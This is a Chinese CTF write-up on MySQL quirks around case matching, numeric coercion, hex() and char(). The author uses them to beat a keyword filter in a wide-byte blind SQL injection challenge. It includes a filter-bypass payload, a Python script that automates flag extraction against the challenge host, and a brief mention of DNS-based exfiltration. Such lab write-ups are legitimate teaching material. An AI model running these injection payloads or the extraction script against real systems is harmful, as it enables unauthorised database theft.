一道CTF题引发的思考-MySQL的几个特性
0x01 背景
前天在做一道CTF题目时一道盲注题,其实盲注也有可能可以回显数据的,如使用DNS或者HTTP等日志来快速的获取数据,MYSQL可以利用LOAD_FILE()函数读取数据,并向远程DNS主机发送数据信息,此时DNS日志文件中就会有盲注语句的查询结果。这里不做这部分的讨论,只是说下有这种方法,在这道题目中我是使用常规的盲注的方式获取数据的。其中遇到有以下几个问题:
- 过滤规则的判断与绕过
- MySQL的一些少有人总结的特性
- 手动盲注的繁琐低效
这题确实让我思考了很多,当然还有一些特性我不太清楚,也希望能有朋友多多指教。
题目的地址:http://218.2.197.235:23733/index.php
0x02 MySQL的一些特性总结
首先先说下MySQL的一些特性,然后再说题目吧,这样我认为更好的能够说明当时做题时遇到的问题及解决的方法。
(1) 比较字符串时大小写不强匹配
mysql> select '1abc'='1AbC';
+---------------+
| '1abc'='1AbC' |
+---------------+
| 1 |
+---------------+
1 row in set
(2) 数字的字符串与数字本身相等
mysql> select 123=123;
+---------+
| 123=123 |
+---------+
| 1 |
+---------+
1 row in set
mysql> select '123'=123;
+-----------+
| '123'=123 |
+-----------+
| 1 |
+-----------+
1 row in set
(3) hex()转换后的结果是字符串,其实此处应为abc的显示结果是纯10进制的值,所以根据(2)中的特性,hex('abc')=616263会相等,但是其实,hex()的结果是字符串的。
mysql> select hex('abc');
+------------+
| hex('abc') |
+------------+
| 616263 |
+------------+
1 row in set
mysql> select hex('abc')=616263;
+-------------------+
| hex('abc')=616263 |
+-------------------+
| 1 |
+-------------------+
1 row in set
mysql> select hex('abc')='616263';
+---------------------+
| hex('abc')='616263' |
+---------------------+
| 1 |
+---------------------+
1 row in set
以下的例子用来说明hex()的结果是个字符串,原谅我如此啰嗦 :-)
mysql> select hex('root');
+-------------+
| hex('root') |
+-------------+
| 726F6F74 |
+-------------+
1 row in set
mysql> select hex('root')=726F6F74;
1054 - Unknown column '726F6F74' in 'field list'
mysql> select hex('root')='726F6F74';
+------------------------+
| hex('root')='726F6F74' |
+------------------------+
| 1 |
+------------------------+
1 row in set
标注:此处由于结果是16进制的,所以无法直接匹配726F6F74,而是需要加上引号,所以可以说明hex()的结果就是个字符串,但是上面的例子因为hex('abc')是纯数字所以会与数字616263相等
那好,这时候可能有同学会问了:那只要直接将726F6F74加上0x就可以了吧?! 这里其实是初学者的一认识个误区,下面的例子就说明这个理解是错的。
mysql> select hex('root');
+-------------+
| hex('root') |
+-------------+
| 726F6F74 |
+-------------+
1 row in set
mysql> select hex('root')=0x726F6F74;
+------------------------+
| hex('root')=0x726F6F74 |
+------------------------+
| 0 |
+------------------------+
1 row in set
那好,那0x726F6F74到底是什么呢?其实我们直接将这串16进制编码的字符解码下就知道了,结果是root,所以刚刚hex('root')=0x726F6F74的时候,其实就是字符串"726F6F74"="root"所以肯定是不相等的。
mysql> select 0x726F6F74;
+------------+
| 0x726F6F74 |
+------------+
| root |
+------------+
1 row in set
所以要使上述的等式相等就需要将字符串"726F6F74"再进行一次16进制编码,然后前面需要加上0x,等式才能够成立。
mysql> select hex('726F6F74');
+------------------+
| hex('726F6F74') |
+------------------+
| 3732364636463734 |
+------------------+
1 row in set
mysql> select hex('root')=0x3732364636463734;
+--------------------------------+
| hex('root')=0x3732364636463734 |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set
(4) 引号的其他代替方式
在MySQL我们经过上面的总结知道字符串除了使用单双引号声明,也可以使用16进制编码,再有就是使用char()来声明,当然在某些场景下过滤了单双引号和时我们可选择16进制和char()来对字符串进行编码,这里提下char()进行字符串比较的特性。
其实在做题的时候遇到的一个可疑点,就是在进行枚举的时候发现出现两个,char(84),char(116)的结果是一样的,解码后发现都是t,char(84)是T,char(116)是t。
按照前面(1)说到的,比较字符串时大小写不强匹配,于是我做了以下实验来验证我的想法,结果让我大吃了很多惊,竟然是不相等,这个问题我至今还未想明白,有牛牛想到了,我很希望一起交流下,这个也是我做题后一直思考不明白的点。
mysql> select char(84);
+----------+
| char(84) |
+----------+
| T |
+----------+
1 row in set
mysql> select 't'=char(84);
+--------------+
| 't'=char(84) |
+--------------+
| 0 |
+--------------+
1 row in set
标注:得出结论字符串与char()进行比较时是强匹配的。
0x03 简要说下做题过程
上面先讲了"事后总结",希望以倒叙这种方式能够更好理解我做题过程中为什么要使用hex()首先是注入方式的判断,这个其实也属于常规的判断,后面直接使用宽字节的方式进行注入。
然后是常规的过滤规则判断,盲注常用的就是ascii与substring进行嵌套,过滤规则的判断,我的方式是:直接在本地写好语句进行测试,然后查看假设没有过滤的情况本地的执行现象是怎么样的,然后再把payload放在真实靶场上进行测试,观察现象是否与本地的一致,一致便是未过滤,不一致便是过滤了。
标注:本地测试,由于题目中是宽字节注入,无法正常使用单双引号声明字符串,所以此处我使用char()对字符串进行编码;所以这个payload:if((substring(user(),1,1)=char(114)),1,0),遍历114的位置正确返回包长度就是2339,不正确是417.
mysql> select user from users where user_id=-1 or if((substring(user(),1,1)=char(114)),1,0);
+---------+
| user |
+---------+
| admin |
| gordonb |
| 1337 |
| pablo |
| smithy |
+---------+
5 rows in set
结果发现不管遍历什么都显示2339,证明我们的substring,char()或者user()被过滤了,经过测试是substring被过滤了,这个例子只是想分享下我处理盲注时候怎么判断过滤规则的。
过滤结果及应对处理:经过以上的方式比较本地测试与实践靶场的现象,得出了以下结论。substring,mid,ord,ascii都被过滤了。最后发现可以使用left()和char(),但是这个方法无法直接获取到准确的flag因为flag中可能有大小写的。(此处char(84)和char(116)的结果为什么一致的疑惑点还未解开)
于是就利用到了hex()中大小写的字符串它们的16进制是不一样的,这样就可以通过hex()来严格匹配大小写。
mysql> select hex('Ro');
+-----------+
| hex('Ro') |
+-----------+
| 526F |
+-----------+
1 row in set
mysql> select hex('RO');
+-----------+
| hex('RO') |
+-----------+
| 524F |
+-----------+
1 row in set
mysql> select hex('RO')=0x35323446; //此处的16进制是hex('RO'),即524F的16进制。
+----------------------+
| hex('RO')=0x35323446 |
+----------------------+
| 1 |
+----------------------+
1 row in set
通过手动将t进行2次16进制编码后得到0x3734,进行手动测试验证了想法可行,然后就需要使用这个最简单的payload进行SQL注入了,由于是盲注所以可以大胆猜想falg就在flag表的flag字段中,不然这道题目就太费时间了。
0x04 解决手动盲注的繁琐和低效
到了这一步其实就是考验编程能力,直接上python代码吧,写的比较粗糙,希望能和朋友们多交流,相互提高。
#-*- coding:utf-8 -*- #-*- by Thinking -*- import requests import string global u global payloads u = "http://218.2.197.235:23733/index.php?key=002265%bf'||+" payloads = string.letters + string.digits + string.punctuation def getLen(SQLi): for L in range(1, 50+1, 1): getLenPayload = "if(((("+ SQLi +"))={}),1,0)%23".format(L) url = u + getLenPayload getResult = requests.get(url) if len(getResult.content) >2000: Len = L print Len break return Len def getData(SQLi,Len): char = '' temp = '' for p in range(1,Len+1): for i in payloads : I = temp + i.encode('hex').upper().encode('hex') getDataPayload = "if((hex(left(("+ SQLi +"),{}))=0x{}),1,0)%23" .format(p,I) url = u + getDataPayload getResult = requests.get(url) if len(getResult.content) > 2000: char = char + i temp = temp + i.encode('hex').upper().encode('hex') print char.ljust(Len, '-') break def main() : data = "select(length(flag))from(flag)" dataLen = getLen(data) SQLi = "select(flag)from(flag)" getData(SQLi, dataLen) if __name__ == '__main__': main()